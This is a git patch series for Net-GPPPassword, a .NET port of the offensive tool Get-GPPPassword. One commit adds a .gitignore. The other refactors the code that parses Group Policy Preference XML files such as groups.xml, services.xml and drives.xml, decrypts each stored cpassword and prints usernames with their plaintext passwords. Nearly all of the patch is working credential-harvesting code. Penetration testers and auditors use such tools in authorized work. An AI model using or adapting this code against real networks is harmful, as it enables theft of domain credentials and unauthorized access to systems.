From aeb77a862b9a225be8497d2ae44e7ee249c3f9cf Mon Sep 17 00:00:00 2001 From: pms Date: Tue, 17 Dec 2019 15:33:44 +0100 Subject: [PATCH 1/2] Add a gitignore --- .gitignore | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..7dba9c3 --- /dev/null +++ b/.gitignore @@ -0,0 +1,5 @@ +.vs/ +[Dd]ebug/ +[Rr]elease/ +[Bb]in/ +[Oo]bj/ From 8db8f6c6ff5a964c8ab26148b824aad2f7e948a1 Mon Sep 17 00:00:00 2001 From: pms Date: Tue, 17 Dec 2019 15:41:21 +0100 Subject: [PATCH 2/2] Factorize parsing and printing function. --- Net-GPPPassword.cs | 115 +++++++++++---------------------------------- 1 file changed, 27 insertions(+), 88 deletions(-) diff --git a/Net-GPPPassword.cs b/Net-GPPPassword.cs index f22aca2..f0dccae 100644 --- a/Net-GPPPassword.cs +++ b/Net-GPPPassword.cs @@ -1,4 +1,4 @@ -// NET-GPPPassword +// NET-GPPPassword // // .NET port of Get-GPPPassword // Author: Stan Hegt (@StanHacked) / Outflank @@ -84,6 +84,26 @@ static string DecryptCPassword(string cPassword) } } + // This function parse the XML and extract the given node and print eventually found password + static void ParseAndPrintProperties(XmlDocument xml, string NodePath, string userAttribute ) + { + XmlNodeList xnList; + xnList = xml.SelectNodes(NodePath); + foreach (XmlNode xn in xnList) + { + try + { + Console.WriteLine("[RESULT] Username: {0}", xn.Attributes[userAttribute].Value); + Console.WriteLine("[RESULT] Changed: {0}", xn.ParentNode.Attributes["changed"].Value); + Console.WriteLine("[RESULT] Password: {0}", DecryptCPassword(xn.Attributes["cpassword"].Value)); + } + catch + { + // Swallow + } + } + } + static void ProcessFile(string path) { Console.WriteLine("Parsing file: {0}", path); @@ -98,106 +118,25 @@ static void ProcessFile(string path) Console.WriteLine("Error parsing {0}", path); return; } - - string resultPrefixString = "[RESULT] "; - XmlNodeList xnList; switch (Path.GetFileName(path).ToLower()) { case "groups.xml": - xnList = xml.SelectNodes("/Groups/User/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["userName"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/Groups/User/Properties", "userName"); break; case "services.xml": - xnList = xml.SelectNodes("/NTServices/NTService/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["accountName"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/NTServices/NTService/Properties", "accountName"); break; case "scheduledtasks.xml": - xnList = xml.SelectNodes("/ScheduledTasks/Task/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["runAs"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/ScheduledTasks/Task/Properties", "runAs"); break; case "datasources.xml": - xnList = xml.SelectNodes("/DataSources/DataSource/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/DataSources/DataSource/Properties", "username"); break; case "printers.xml": - xnList = xml.SelectNodes("/Printers/SharedPrinter/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/Printers/SharedPrinter/Properties", "username"); break; case "drives.xml": - xnList = xml.SelectNodes("/Drives/Drive/Properties"); - foreach (XmlNode xn in xnList) - { - try - { - Console.WriteLine("{0} Username: {1}", resultPrefixString, xn.Attributes["username"].Value); - Console.WriteLine("{0} Changed: {1}", resultPrefixString, xn.ParentNode.Attributes["changed"].Value); - Console.WriteLine("{0} Password: {1}", resultPrefixString, DecryptCPassword(xn.Attributes["cpassword"].Value)); - } - catch - { - // Swallow - } - } + ParseAndPrintProperties(xml, "/Drives/Drive/Properties", "username"); break; } }